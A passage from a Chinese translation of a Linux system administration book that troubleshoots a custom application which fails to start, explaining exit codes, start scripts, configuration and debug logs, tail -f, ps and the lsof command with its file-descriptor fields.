章](03.html#KVCC1-8ae10833f0c4428b9e1482c7fee089b4 "Chapter 3. Troubleshooting a Web Application")、*Web 应用故障排除*中所经历的,这些可以成为诊断应用问题的有用资源。 通常,这个问题已经在这些社区中被报道或询问过了,这些帖子中的大多数也包含了这个问题的解决方案。 - -这些解决方案被发布在互联网的公开论坛上; 应用中的任何错误也可以在谷歌上简单地搜索。 大多数时候,搜索会显示多个可能的答案。 流行的开源应用的错误在谷歌上产生零搜索结果的情况很少发生。 - -然而,对于自定义应用,应用错误可能并不总是通过快速的谷歌搜索来解决。 有时,应用提供了一个通用错误,如**Permission Denied**或**File not found**。 然而,在其他情况下,它们不会产生错误或特定于应用的错误,比如我们今天将要处理的问题。 - -当面对开源工具中的非描述性错误时,您总是可以在某种类型的在线站点上寻求帮助。 然而,对于定制应用,您可能并不总是能够询问开发人员错误的含义。 - -有时,由系统管理员修复应用,而不需要开发人员的帮助。 - -当这些情况发生时,有无数的工具供管理员使用。 在今天的章节中,我们将探索其中的一些工具,同时,当然,排除自定义应用的故障。 - -# 应用无法启动时 - -对于这一章的问题,我们将像大多数其他问题一样开始,除了今天,我们没有收到警报或电话,实际上是另一个系统管理员问我们一个问题。 - -系统管理员试图在博客 web 服务器上启动一个应用。 当他们试图启动应用时,它似乎正在启动; 但是,在最后,它只是打印一个错误消息并退出。 - -我们对这个场景的第一个响应当然是故障排除过程的第一步—复制它。 - -其他系统管理员通过执行以下步骤通知我们他们正在启动应用: - -1. 以`vagrant`用户登录服务器 -2. 移动到目录`/opt/myapp` -3. 运行脚本`start.sh` - -在进一步深入之前,让我们尝试这些相同的步骤: - -```sh -$ whoami -vagrant -$ cd /opt/myapp/ -$ ls -la -total 8 -drwxr-xr-x. 5 vagrant vagrant 69 May 18 03:11 . -drwxr-xr-x. 4 root root 50 May 18 00:48 .. -drwxrwxr-x. 2 vagrant vagrant 24 May 18 01:14 bin -drwxrwxr-x. 2 vagrant vagrant 23 May 18 00:51 conf -drwxrwxr-x. 2 vagrant vagrant 6 May 18 00:50 logs --rwxr-xr-x. 1 vagrant vagrant 101 May 18 03:11 start.sh -$ ./start.sh -Initializing with configuration file /opt/myapp/conf/config.yml -- - - - - - - - - - - - - - - - - - - - - - - - - - -Starting service: [Failed] - -``` - -在前面的步骤中,我们与前面的管理员遵循相同的步骤并获得相同的结果。 应用似乎启动失败。 - -在前面的示例中,使用`whoami`命令显示我们是以`vagrant`用户登录的。 在处理应用时,这个命令非常方便,因为它可以用来确保正确的系统用户正在执行启动过程。 - -我们可以从之前的启动尝试中看到,应用启动失败,并显示如下消息: - -```sh -Starting service: [Failed] - -``` - -然而,我们需要知道为什么它没有启动,以及这个过程是否真的失败了 - -要回答这个过程是否真的失败的问题其实很简单。 要做到这一点,我们可以简单地检查应用的退出代码,这是通过在执行`start.sh`脚本后打印`$?`变量来完成的,如下所示: - -```sh -$ echo $? -1 - -``` - -## 退出码 - -在 Linux 和 Unix 系统上,程序有能力在它们终止时传递一个值给它们的父进程。 这个值称为**退出码**。 正在终止或“退出”的程序使用退出码来告诉调用它的进程该程序是成功还是失败。 - -对于 POSIX 系统(如 Red Hat Enterprise Linux),标准约定是程序退出时使用 0 状态码表示成功,非 0 状态码表示失败。 由于前面的示例以状态码 1 退出,这意味着应用以失败退出。 - -为了更好地理解退出代码,让我们写一个快速的小脚本来执行一个成功的任务: - -```sh -$ cat /var/tmp/exitcodes.sh -#!/bin/bash -touch /var/tmp/file.txt - -``` - -这个快速的小 shell 脚本执行一个任务,它在文件`/var/tmp/file.txt`上运行`touch`命令。 如果该文件存在,触摸命令只是更新该文件的访问时间。 如果文件不存在,那么 touch 命令将创建它。 - -由于`/var/tmp`是一个具有打开权限的临时目录,所以当作为流浪用户执行此脚本时,应该会成功: - -```sh -$ /var/tmp/exitcodes.sh - -``` - -在执行该命令之后,我们可以使用 BASH 特殊变量`$?`看到退出代码。 这个变量是 BASH shell 中的一个特殊变量,只能用于读取最后执行的程序的退出代码。 这个变量是 BASH shell 中少数几个只能读取而不能写入的特殊变量之一。 - -为了查看脚本的退出状态,我们可以将`echo`的值`$?`放到屏幕上: - -```sh -$ echo $? -0 - -``` - -这个脚本返回了一个`0`退出状态。 这意味着成功执行了脚本,并且很可能更新或创建了文件`/var/tmp/file.txt`。 我们可以通过对文件本身执行`ls -la`来验证文件是否被更新: - -```sh -$ ls -la /var/tmp/file.txt --rw-rw-r--. 1 vagrant vagrant 0 May 25 14:25 /var/tmp/file.txt - -``` - -从`ls`命令的输出来看,文件似乎是最近更新或创建的。 - -前面的示例显示了当脚本成功时会发生什么,但是当脚本不成功时会发生什么呢? 通过前面脚本的修改版本,我们可以很容易地看到脚本失败时会发生什么: - -```sh -$ cat /var/tmp/exitcodes.sh -#!/bin/bash -touch /some/directory/that/doesnt/exist/file.txt - -``` - -修改后的版本将尝试在不存在的目录中创建一个文件。 然后该脚本将失败并退出,并使用一个表示失败的退出代码: - -```sh -$ /var/tmp/exitcodes.sh -touch: cannot touch '/some/directory/that/doesnt/exist/file.txt': No such file or directory - -``` - -我们可以从脚本的输出中看到,`touch`命令失败了,但是退出代码呢? - -```sh -$ echo $? -1 - -``` - -退出代码还显示脚本失败。 退出码的标准是`0`,即成功,任何非零的代码都是失败。 通常,您将看到一个`0`或`1`退出代码。 然而,一些应用将使用其他退出码来指示特定的失败: - -```sh -$ somecommand --bash: somecommand: command not found -$ echo $? -127 - -``` - -例如,如果我们要执行 BASH shell 中不存在的命令,则提供的退出代码将是`127`。 此退出代码是一种约定,用于指示未找到该命令。 以下是用于特定目的的退出码列表: - -* `0`:成功 -* `1`:已发生一般故障 -* `2`:误用内置外壳 -* `126`:无法执行所调用的命令 -* `127`:命令未找到 -* `128`:传递给`exit`命令的无效参数 -* `130`:使用*Ctrl*+*C*键停止命令 -* `255`:提供的退出码不在`0 - 255`范围内 - -这个列表是一个很好的退出代码的通用指南。 但是,由于每个应用都可以提供自己的退出码,您可能会发现某个命令或应用提供的退出码不在前面的列表中。 对于开源应用,通常可以查找退出代码的含义。 然而,对于定制应用,您可能有能力也可能没有能力查找退出码的含义。 - -## 是脚本失败,还是应用失败? - -关于 shell 脚本和退出码的一个有趣的事情是,当一个 shell 脚本被执行时,该脚本的退出码将是最后执行的命令的退出码。 - -为了将其置于透视图中,我们可以再次修改我们的测试脚本: - -```sh -$ cat /var/tmp/exitcodes.sh -#!/bin/bash -touch /some/directory/that/doesnt/exist/file.txt -echo "It works" - -``` - -前面的命令应该会产生一个有趣的结果。 `touch`命令将失败; 但是,echo 命令将会成功。 - -这意味着在执行时,即使`touch`命令失败,`echo`命令仍然成功,因此命令行中的退出代码应该显示脚本成功: - -```sh -$ /var/tmp/exitcodes.sh -touch: cannot touch '/some/directory/that/doesnt/exist/file.txt': No such file or directory -It works -$ echo $? -0 - -``` - -上面的命令是一个不能优雅地处理错误的脚本的示例。 如果我们仅仅依靠这个脚本通过退出代码为我们提供正确的执行状态,那么我们将得到不正确的结果。 - -对于系统管理员来说,对未知的脚本持怀疑态度总是好的。 我发现很多情况下(我自己也写过一些)脚本没有错误检查。 出于这个原因,我们应该执行的第一步是验证 1 的退出代码实际上来自正在启动的应用。 - -要做到这一点,我们将需要阅读开始脚本: - -```sh -$ cat ./start.sh -#!/bin/bash - -HOMEDIR=/opt/myapp - -$HOMEDIR/bin/application --deamon --config $HOMEDIR/conf/config.yml - -``` - -从事物的外观来看,起始脚本是非常基本的。 看起来脚本只是简单地将`$HOMEDIR`变量设置为`/opt/myapp`,然后通过运行`$HOMEDIR/bin/application`命令来运行应用。 - -### 提示 - -在将`$HOMEDIR`的值设置为`/opt/myapp`之后,您可以假设未来对`$HOMEDIR`的任何引用实际上是`/opt/myapp`的值。 - -从前面的脚本中,我们可以看到最后执行的命令是应用,这意味着我们收到的退出代码来自应用,而不是另一个命令。 这证明我们正在接收该应用的真实退出状态。 - -除了哪个命令提供了退出代码之外,start 脚本还提供了更多的信息。 如果我们看一看应用的命令行参数,我们可以更了解这个应用: - -```sh -$HOMEDIR/bin/application --deamon --config $HOMEDIR/conf/config.yml - -``` - -这是在`start.sh`脚本中实际启动应用的命令。 脚本正在运行带参数`--daemon`和`--config /opt/myapp/conf/config.yml`的命令`/opt/myapp/bin/application`。 虽然我们可能不太了解这个应用,但我们可以做一些假设。 - -我们可以做的一个假设是,`--daemon`标志会导致该应用将自身妖魔化。 在 Unix 和 Linux 系统上,作为后台进程持续运行的进程称为守护进程。 - -通常,守护进程是不需要用户输入的服务。 一些容易识别的守护进程示例是 Apache 或 MySQL。 这些进程在后台运行并执行服务,而不是在用户的桌面或 shell 中运行。 - -使用前面的标志,我们可以安全地假设这个进程被设计为一旦成功启动就在后台运行。 - -基于命令行参数,我们可以做的另一个假设是将文件`/opt/myapp/conf/config.yml`用作应用的配置文件。 考虑到旗帜的名称为`--config`,这似乎非常简单。 - -前面的假设很容易识别,因为标志使用长格式`--option`。 然而,并非所有应用或服务都使用长格式的命令行标志。 通常,这些是单个字符标志。 - -虽然每个应用都有自己的命令行标志,并且可能因应用的不同而不同,但常见的标志(如`--config`和`--deamon`)通常被缩短为`-c`和`-d`或`-D`。 如果我们的应用提供单字符标志,它看起来应该如下所示: - -```sh -$HOMEDIR/bin/application -d -c $HOMEDIR/conf/config.yml - -``` - -即使使用缩短的选项,我们也可以安全地确定`-c`指定了一个配置文件。 - -## 配置文件中的丰富信息 - -我们知道这个应用正在使用配置文件`/opt/myapp/conf/config.yml`。 如果我们读取这个文件,我们可能会找到关于应用的信息以及它试图执行的任务: - -```sh -$ cat conf/config.yml -port: 25 -debug: True -logdir: /opt/myapp/logs - -``` - -这个应用的配置文件非常短,但是其中有相当多的有用信息。 第一个配置项比较有趣,因为它似乎指定了端口`25`作为应用要使用的端口。 在不知道这个应用具体做什么的情况下,这些信息不会立即有用,但以后可能会对我们有用。 - -第二项似乎表明应用处于调试模式。 应用或服务通常具有`debug`模式,这导致它们记录或输出调试信息以进行故障排除。 在我们的示例中,似乎启用了调试选项,因为该项的值是`True`。 - -第三个也是最后一个项目看起来是日志的目录路径。 日志文件对于诊断应用总是很有用。 通常,您可以在日志文件中找到有关应用问题的信息。 如果应用处于`debug`状态,这尤其正确,我们的应用似乎就是这种情况。 - -因为我们的应用似乎处于`debug`模式,而且我们知道日志目录的位置。 我们可以在 log 目录中查看应用启动过程中可能创建的任何日志文件: - -```sh -$ ls -la /opt/myapp/logs/ -total 4 -drwxrwxr-x. 2 vagrant vagrant 22 May 30 03:51 . -drwxr-xr-x. 5 vagrant vagrant 53 May 30 03:49 .. --rw-rw-r--. 1 vagrant vagrant 454 May 30 03:54 debug.out - -``` - -如果我们在日志目录中运行`ls -la`,我们可以看到一个`debug.out`文件。 根据名称,这个文件很可能是应用的调试输出,但不一定是应用的主日志文件。 然而,这个文件可能比标准日志更有用,因为它可能包含应用启动失败的原因: - -```sh -$ cat debug.out -Configuration file processed --------------------------- -Starting service: [Failed] -Configuration file processed --------------------------- -Starting service: [Success] -- - - - - - - - - - - - - - - - - - - - - - - - - -Proccessed 5 messages -Proccessed 5 messages -Configuration file processed --------------------------- -Starting service: [Failed] -Configuration file processed --------------------------- -Starting service: [Failed] - -``` - -根据此文件的内容,该文件似乎包含来自此应用多次执行的日志。 我们可以从一个重复的模式看出这一点。 - -```sh -Configuration file processed --------------------------- - -``` - -这似乎是每次应用启动时打印的第一项。 我们可以看到这些行总共四次; 最有可能的是,这意味着该应用在过去至少启动了四次。 - -在这个文件中,我们可以看到一条重要的日志信息: - -```sh -Starting service: [Success] - -``` - -似乎这个应用的第二次启动时应用启动成功。 但是,每次启动之后,应用都会失败。 - -### 在启动过程中查看日志文件 - -由于调试文件的内容不包括时间戳,所以要知道这个文件的调试输出是在启动应用时写入的,还是在之前的启动过程中写入的,有点困难。 - -由于我们不知道与其他尝试相比,在上次尝试期间写入了哪些行,所以我们需要尝试并确定每次启动应用时写入了多少日志条目。 为此,我们可以使用带有`-f`或`--follow`标志的`tail`命令: - -```sh -$ tail -f debug.out -- - - - - - - - - - - - - - - - - - - - - - - - - -Proccessed 5 messages -Proccessed 5 messages - [Failed] -Configuration file processed --------------------------- -Starting service: [Failed] -Configuration file processed --------------------------- -Starting service: [Failed] - -``` - -当第一次使用`-f`(follow)标志启动`tail`命令时,将打印文件的最后 10 行。 这也是 tail 在没有标志的情况下运行时的默认行为。 - -然而,`-f`标志并不仅仅止于最后 10 行。 当使用`-f`标志运行时,`tail`将持续监视指定的文件以获取新数据。 一旦`tail`看到新的数据写入到指定的文件中,这些数据就会被写入`tail`的输出中。 - -通过对`debug.out`文件运行 tail`-f`,我们将能够识别应用正在写入的任何新的调试日志。 如果我们再次执行`start.sh`脚本,我们将看到应用在启动过程中打印的所有可能的调试数据: - -```sh -$ ./start.sh -Initializing with configuration file /opt/myapp/conf/config.yml -- - - - - - - - - - - - - - - - - - - - - - - - - - -Starting service: [Failed] - -``` - -`start.sh`脚本的输出与上次相同,这一点并不奇怪。 然而,现在我们正在观看`debug.out`文件,我们可能会发现一些有用的东西: - -```sh -Configuration file processed --------------------------- -Starting service: [Failed] - -``` - -从`tail`命令中,我们可以看到在执行`start.sh`时打印了前面三行。 虽然这本身不能解释为什么应用无法启动,但它可以告诉我们一些有趣的事情: - -```sh -$ cat debug.out -Configuration file processed --------------------------- -Starting service: [Failed] -Configuration file processed --------------------------- -Starting service: [Success] -- - - - - - - - - - - - - - - - - - - - - - - - - -Processed 5 messages -Processed 5 messages -Configuration file processed --------------------------- -Starting service: [Failed] -Configuration file processed --------------------------- -Starting service: [Failed] -Configuration file processed --------------------------- -Starting service: [Failed] - -``` - -假设当应用启动失败时,将打印来自前一个命令的“`Failed`”消息,我们可以看到前三次`start.sh`脚本执行失败。 然而,之前的实例是成功的。 - -到目前为止,我执行了两次开始脚本,另一个管理员执行了一次脚本。 这将解释我们在`debug.out`文件末尾看到的三个失败。 有趣的是,应用成功启动了前面的实例。 - -这很有趣,因为它表明应用的前一个实例很有可能正在运行。 - -# 检查应用是否已经运行 - -这类问题的一个非常常见的原因就是应用已经在运行。 有些应用应该只启动一次,并且应用本身会在完成启动之前检查另一个实例是否正在运行。 - -通常,如果是这种情况,我们会期望应用将错误打印到屏幕或`debug.out`文件。 然而,并不是每个应用都有适当的错误处理或消息传递。 对于自定义应用尤其如此,对于我们正在使用的应用似乎也是如此。 - -目前,我们假设问题是由应用的另一个实例引起的。 这是根据调试消息和以前的经验做出的有根据的猜测。 虽然我们还没有任何确凿的事实来告诉我们另一个实例是否正在运行; 这种情况很常见。 - -这种情况是**有教养的猜测者**利用以前的经验建立根本原因假设的一个完美例子。 当然,在形成一个假设之后,我们的下一步就是验证它是否正确。 即使我们的假设被证明是不正确的,我们至少可以消除造成问题的一个潜在原因。 - -由于我们当前的假设是我们可能已经有一个正在运行的应用实例,我们可以通过执行 ps 命令来验证它: - -```sh -$ ps -elf | grep application -0 S vagrant 7110 5567 0 80 0 - 28160 pipe_w 15:22 pts/0 00:00:00 grep --color=auto application - -``` - -由此看来,我们的假设可能是不正确的。 但是,前面的命令只是执行一个进程列表,并在输出中搜索 word 应用的任何实例。 虽然这个命令可能已经足够了,但是在启动过程中,一些应用(特别是守护化的应用)将启动另一个可能不匹配字符串“`application`”的进程。 - -由于我们一直以“`vagrant`”用户的身份启动应用,因此即使应用被守护化,这些进程也可能以流浪用户的身份运行。 使用相同的命令,我们还可以搜索进程列表中作为`vagrant`用户运行的进程: - -```sh -$ ps -elf | grep vagrant -4 S root 4230 984 0 80 0 - 32881 poll_s May30 ? 00:00:00 sshd: vagrant [priv] -5 S vagrant 4233 4230 0 80 0 - 32881 poll_s May30 ? 00:00:00 sshd: vagrant@pts/1 -0 S vagrant 4234 4233 0 80 0 - 28838 n_tty_ May30 pts/1 00:00:00 -bash -4 S root 5563 984 0 80 0 - 32881 poll_s May31 ? 00:00:00 sshd: vagrant [priv] -5 S vagrant 5566 5563 0 80 0 - 32881 poll_s May31 ? 00:00:01 sshd: vagrant@pts/0 -0 S vagrant 5567 5566 0 80 0 - 28857 wait May31 pts/0 00:00:00 -bash -0 R vagrant 7333 5567 0 80 0 - 30839 - 14:58 pts/0 00:00:00 ps -elf -0 S vagrant 7334 5567 0 80 0 - 28160 pipe_w 14:58 pts/0 00:00:00 grep --color=auto vagrant - -``` - -这个命令为提供了更多的输出,但不幸的是,这些进程都不是我们要寻找的应用。 - -## 检查打开的文件 - -前面的进程列表命令没有提供任何表明应用实例正在运行的结果。 然而,在假设它实际上没有运行之前,我们应该执行最后一次检查。 - -因为我们知道我们正在处理的应用似乎被安装到`/opt/myapp`中,我们可以在该目录中看到配置文件和日志。 假设所讨论的应用可能会打开位于`/opt/myapp`中的一个或多个文件,这是相当安全的。 - -一个非常有用的命令是**lsof**命令。 使用这个命令,我们可以列出系统上所有打开的文件。 虽然一开始这听起来可能不是很强大,但让我们详细了解一下这个命令,以了解它实际上可以提供多少信息。 - -在运行`lsof`命令时,理解权限变得非常重要。 当不带参数执行`lsof`时,该命令将为它能识别的每个进程打印所有打开的文件列表。 如果我们以非特权用户(如“`vagrant`”用户)的身份运行此命令,输出将只包含作为流浪用户运行的进程。 但是,如果我们以根用户的身份运行该命令,则该命令将打印系统上所有进程的打开文件。 - -为了直观地了解这将转换为多少文件,我们将运行`lsof`命令并将输出重定向到`wc -l`命令,该命令将计算输出中提供的行数: - -```sh -# lsof | wc -l -3840 - -``` - -从`wc`命令中,我们可以看到当前系统上有`3840`文件打开。 现在,这些文件中的一些可能是重复的,因为可能有多个进程打开相同的文件。 然而,这个系统上打开的文件的绝对数量是相当大的。 从更长远的角度来看,这个系统也是一个相当未充分利用的系统,通常没有运行很多应用。 如果在利用良好的系统上执行上述命令后,打开的文件数量呈指数级增长,请不要感到惊讶。 - -由于查看`3840`打开的文件不太实际,让我们通过查看`lsof`输出的前 10 个文件来更好地理解`lsof`。 我们可以通过将命令的输出重定向到`head`命令来实现这一点,与`tail`命令一样,该命令将在默认情况下打印 10 行。 然而,`tail`命令打印最后 10 行,而`head`命令打印前 10 行: - -```sh -# lsof | head -COMMAND PID TID USER FD TYPE DEVICE SIZE/OFF NODE NAME -systemd 1 root cwd DIR 253,1 4096 128 / -systemd 1 root rtd DIR 253,1 4096 128 / -systemd 1 root txt REG 253,1 1214408 67629956 /usr/lib/systemd/systemd -systemd 1 root mem REG 253,1 58288 134298633 /usr/lib64/libnss_files-2.17.so -systemd 1 root mem REG 253,1 90632 134373166 /usr/lib64/libz.so.1.2.7 -systemd 1 root mem REG 253,1 19888 134393597 /usr/lib64/libattr.so.1.1.0 -systemd 1 root mem REG 253,1 113320 134298625 /usr/lib64/libnsl-2.17.so -systemd 1 root mem REG 253,1 153184 134801313 /usr/lib64/liblzma.so.5.0.99 -systemd 1 root mem REG 253,1 398264 134373152 /usr/lib64/libpcre.so.1.2.0 - -``` - -正如我们所看到的,当作为根执行`lsof`命令时,它能够为我们提供相当多的有用信息。 让我们看看输出的第一行来理解`lsof`显示了什么: - -```sh -COMMAND PID TID USER FD TYPE DEVICE SIZE/OFF NODE NAME -systemd 1 root cwd DIR 253,1 4096 128 / - -``` - -`lsof`命令为每个打开的文件打印 10 列。 - -第一列是`COMMAND`列。 此字段包含已打开该文件的可执行文件的名称。 这在识别哪些进程打开了特定的文件时非常有用。 - -对于我们的用例,这将告诉我们哪个进程打开了我们感兴趣的文件,并可能告诉我们正在寻找的应用的进程名。 - -第二列是`PID`列。 这个字段和第一个字段一样有用,因为它显示了打开所显示文件的应用的进程 ID。 这个值将允许我们将应用缩小到一个实际正在运行的特定进程。 - -第三列是`TID`列,它在我们的输出中是空白的。 这一列包含有问题的进程的线程 ID。 在 Linux 中,多线程应用能够生成线程,这也称为轻量级进程。 这些线程类似于常规进程,但能够共享诸如文件描述符和内存映射等资源。 您可能听说过这些被称为线程或轻量级进程,但它们本质上是相同的东西。 - -为了查看`TID`字段,可以将`-K`(show threads)标志添加到`lsof`命令中。 这将导致`lsof`打印所有的轻量化过程以及整个过程。 - -输出`lsof`的第四列是`USER`字段。 该字段将打印已打开该文件的进程的用户名或`UID`(如果没有找到用户名)。 重要的是要知道这个字段是进程正在执行的用户,而不是文件本身的所有者。 - -例如,如果以`rotot`的形式运行的进程打开了一个属于`vagrant`的文件,那么`lsof`中的 USER 字段将显示 root。 这是因为`lsof`命令用于显示哪些进程打开了文件,并用于显示有关进程的信息,而不一定是文件。 - -### 理解文件描述符 - -第五列非常有趣,因为这是文件描述符**(**FD**)的字段; 这是 Unix 和 Linux 中一个难以理解的主题。** - - **文件描述符是 POSIX**应用编程接口**(**API**)的一部分,它是所有现代 Linux 和 Unix 操作系统遵循的标准。 从程序的角度来看,文件描述符是一个由非负数表示的对象。 这个数字用作内核在每个进程的基础上管理的打开文件表的标识符。 - -由于内核在每个进程级别上维护这一点,所以数据包含在`/proc`文件系统中。 我们可以通过在`/proc//fd`目录中执行`ls -la`来查看这个打开的文件表: - -```sh -# ls -la /proc/1/fd -total 0 -dr-x------. 2 root root 0 May 17 23:07 . -dr-xr-xr-x. 8 root root 0 May 17 23:07 .. -lrwx------. 1 root root 64 May 17 23:07 0 -> /dev/null -lrwx------. 1 root root 64 May 17 23:07 1 -> /dev/null -lrwx------. 1 root root 64 Jun 1 15:08 10 -> socket:[7951] -lr-x------. 1 root root 64 Jun 1 15:08 11 -> /proc/1/mountinfo -lr-x------. 1 root root 64 Jun 1 15:08 12 -> /proc/swaps -lrwx------. 1 root root 64 Jun 1 15:08 13 -> socket:[11438] -lr-x------. 1 root root 64 Jun 1 15:08 14 -> anon_inode:inotify -lrwx------. 1 root root 64 May 17 23:07 2 -> /dev/null -lrwx------. 1 root root 64 Jun 1 15:08 20 -> socket:[7955] -lrwx------. 1 root root 64 Jun 1 15:08 21 -> socket:[13968] -lrwx------. 1 root root 64 Jun 1 15:08 22 -> socket:[13980] -lrwx------. 1 root root 64 May 17 23:07 23 -> socket:[13989] -lrwx------. 1 root root 64 Jun 1 15:08 24 -> socket:[7989] -lrwx------. 1 root root 64 Jun 1 15:08 25 -> /dev/initctl -lrwx------. 1 root root 64 Jun 1 15:08 26 -> socket:[7999] -lrwx------. 1 root root 64 May 17 23:07 27 -> socket:[6631] -lrwx------. 1 root root 64 May 17 23:07 28 -> socket:[6634] -lrwx------. 1 root root 64 May 17 23:07 29 -> socket:[6636] -lr-x------. 1 root root 64 May 17 23:07 3 -> anon_inode:inotify -lrwx------. 1 root root 64 May 17 23:07 30 -> socket:[8006] -lr-x------. 1 root root 64 Jun 1 15:08 31 -> anon_inode:inotify -lr-x------. 1 root root 64 Jun 1 15:08 32 -> /dev/autofs -lr-x------. 1 root root 64 Jun 1 15:08 33 -> pipe:[10502] -lr-x------. 1 root root 64 Jun 1 15:08 34 -> anon_inode:inotify -lrwx------. 1 root root 64 Jun 1 15:08 35 -> anon_inode:[timerfd] -lrwx------. 1 root root 64 Jun 1 15:08 36 -> socket:[8095] -lrwx------. 1 root root 64 Jun 1 15:08 37 -> /run/dmeventd-server -lrwx------. 1 root root 64 Jun 1 15:08 38 -> /run/dmeventd-client -lrwx------. 1 root root 64 Jun 1 15:08 4 -> anon_inode:[eventpoll] -lrwx------. 1 root root 64 Jun 1 15:08 43 -> socket:[11199] -lrwx------. 1 root root 64 Jun 1 15:08 47 -> socket:[14300] -lrwx------. 1 root root 64 Jun 1 15:08 48 -> socket:[14300] -lrwx------. 1 root root 64 Jun 1 15:08 5 -> anon_inode:[signalfd] -lr-x------. 1 root root 64 Jun 1 15:08 6 -> /sys/fs/cgroup/systemd -lrwx------. 1 root root 64 Jun 1 15:08 7 -> socket:[7917] -lrwx------. 1 root root 64 Jun 1 15:08 8 -> anon_inode:[timerfd] -lrwx------. 1 root root 64 Jun 1 15:08 9 -> socket:[7919] - -``` - -这是一个用于`systemd`进程的文件描述符表。 如您所见,这里有一个数字,该数字链接到一个文件/对象。 - -在这个输出中不容易表示的是,它是不断变化的。 当一个文件/对象被关闭时,文件描述符编号就可以被内核重用,将其分配给一个新的打开的文件/对象。 根据进程打开和关闭文件的频率,如果我们重复相同的 ls,我们可能会在该表中看到一组完全不同的打开文件。 - -这样,我们就可以期望`lsof`中的 FD 字段总是显示一个数字。 然而,`lsof`输出中的 FD 字段实际上可以包含不止文件描述符编号。 这是因为`lsof`实际上显示了比文件更多的打开项。 - -在执行时,`lsof`命令将打印许多不同类型的打开对象; 并不是所有这些都是文件。 在前面的`lsof`命令的第一行输出中可以看到一个例子: - -```sh -COMMAND PID TID USER FD TYPE DEVICE SIZE/OFF NODE NAME -systemd 1 root cwd DIR 253,1 4096 128 / - -``` - -前面的项不是一个文件,而是一个目录。 因为这是一个目录,FD 字段显示`cwd`,它用于表示打开项的当前工作目录。 这实际上与打开项为文件时打印的输出非常不同。 - -为了更好地显示差异,我们可以通过将文件作为参数提供给`lsof`来对特定的文件运行`lsof`命令: - -```sh -# lsof /dev/null | head -COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME -systemd 1 root 0u CHR 1,3 0t0 23 /dev/null -systemd 1 root 1u CHR 1,3 0t0 23 /dev/null -systemd 1 root 2u CHR 1,3 0t0 23 /dev/null -systemd-j 436 root 0r CHR 1,3 0t0 23 /dev/null -systemd-j 436 root 1w CHR 1,3 0t0 23 /dev/null -systemd-j 436 root 2w CHR 1,3 0t0 23 /dev/null -lvmetad 469 root 0r CHR 1,3 0t0 23 /dev/null -systemd-u 476 root 0u CHR 1,3 0t0 23 /dev/null -systemd-u 476 root 1u CHR 1,3 0t0 23 /dev/null - -``` - -在前面的输出中,我们不仅可以看到许多进程打开了`/dev/null`,而且每一行的`FD`字段也有很大的不同。 如果我们查看第一行,可以看到`systemd`进程打开了`/dev/null`,且`FD`字段的值为`0u`。 - -当`lsof`显示一个标准文件的打开项时,`FD`字段将包含内核表中与该打开文件相关联的文件描述符编号,在本例中为`0`。 - -如果我们回头看看`/proc/1/fd`目录,我们可以在内核表中看到: - -```sh -# ls -la /proc/1/fd/0 -lrwx------. 1 root root 64 May 17 23:07 /proc/1/fd/0 -> /dev/null - -``` - -文件描述符数字后面可能还有两个值,这取决于文件是如何打开的以及它是否被锁定。 - -第一个潜在值显示文件打开的模式。 在我们的示例中,这由`0u`值中的`u`表示。 小写的`u`表示文件被打开以进行读写访问。 - -以下是`lsof`将显示的潜在模式列表: - -* `r`:小写`r`表示文件只读打开 -* `w`:小写`w`表示只打开文件进行写操作 -* `u`:小写`u`表示文件被打开,可供读写 -* :空格用来表示文件打开的模式未知,当前文件上没有锁 -* `-`:此连字符用于描述文件打开的模式未知,并且当前文件上有锁 - -最后两个值实际上非常有趣,因为它们给我们带来了文件描述符数之后的第二个潜在值。 - -Linux 和 Unix 系统上的进程被允许在文件被打开时请求被锁定。 有多种类型的锁,这在`lsof`的输出中也显示了: - -```sh -master 1586 root 10uW REG 253,1 33 135127929 /var/spool/postfix/pid/master.pid - -``` - -在上例中,`FD`字段中包含`10uW`。 从前面的示例中,我们知道 10 是文件描述符数,并且`u`表示该文件对读写都是打开的,但是`W`是新的。 这个 W 显示了进程对该文件的锁的类型; 本例中的写锁。 - -与文件打开模式一样,可以从`lsof`中看到许多不同类型的锁。 这是由`lsof`显示的可能的锁列表: - -* `N`:用于未知类型的 Solaris NFS 锁 -* `r`:这是文件的一部分的读锁 -* `R`:这是对整个文件的读锁 -* `w`:这是文件的一部分的写锁 -* `W`:这是对整个文件的写锁 -* `u`:这是一个任意长度的读写锁 -* `U`:这是一个未知类型的读写锁 -* `x`:这是一个部分文件的 SCO Openserver Xenix 锁 -* `X`:这是一个完整文件的 SCO Openserver Xenix 锁 - -您可能会注意到有几种可能的锁不是特定于 linux 的。 这是因为`lsof`是一个在 Linux 和 Unix 中广泛使用的工具,并且支持许多 Unix 发行版,如 Solaris 和 SCO。 - -现在我们已经讨论了`lsof`如何显示实际文件的`FD`字段,让我们看看它如何显示不一定是文件的打开对象: - -```sh -iprupdate 595 root cwd DIR 253,1 4096 128 / -iprupdate 595 root rtd DIR 253,1 4096 128 / -iprupdate 595 root txt REG 253,1 114784 135146206 /usr/sbin/iprupdate -iprupdate 595 root mem REG 253,1 2107600 134298615 /usr/lib64/libc-2.17.so - -``` - -这样,我们可以在这个列表中看到许多不同的`FD`值,例如`cwd`、`rtd`、`txt`和`mem`。 我们已经从前面的一个例子中知道,`cwd`是用来表示`Current Working Directory`的,但是其他的都是新的。 实际上有相当多的可能的文件类型,这取决于打开的对象。 下面的列表包含了在不使用文件描述符号时可能显示的所有值: - -* `cwd`:当前工作目录 -* `Lnn`:AIX 系统的库引用(`nn`是一个数字值) -* 文件描述符信息错误 -* : FreeBSD 被监禁的目录 -* `ltx`:共享库文本 -* `Mxx`:十六进制内存映射(xx 是类型数) -* `m86`:DOS 合并映射文件 -* `mem`:内存映射文件 -* `mmap`:内存映射设备 -* `pd`:父目录 -* `rtd`:根目录 -* `tr`:内核跟踪文件 -* `txt`:程序文本 -* : VP/ix 映射文件 - -我们可以看到字段有许多可能的值。 现在我们已经看到了可能的值,让我们看一下前面的示例,以便更好地理解显示的打开项的类型: - -```sh -iprupdate 595 root cwd DIR 253,1 4096 128 / -iprupdate 595 root rtd DIR 253,1 4096 128 / -iprupdate 595 root txt REG 253,1 114784 135146206 /usr/sbin/iprupdate -iprupdate 595 root mem REG 253,1 2107600 134298615 /usr/lib64/libc-2.17.so - -``` - -前两行很有趣,因为它们都属于“`/`”目录。 但是,第一行将“`/`”目录显示为`cwd`,这意味着它是当前的工作目录。 第二行将“`/`”目录显示为`rtd`,这意味着这也是`iprupdate`程序的根目录。 - -第三行显示`/usr/sbin/iprupdate`是程序本身,因为它有`txt`字段值`FD`。 这意味着打开的文件是程序的代码。 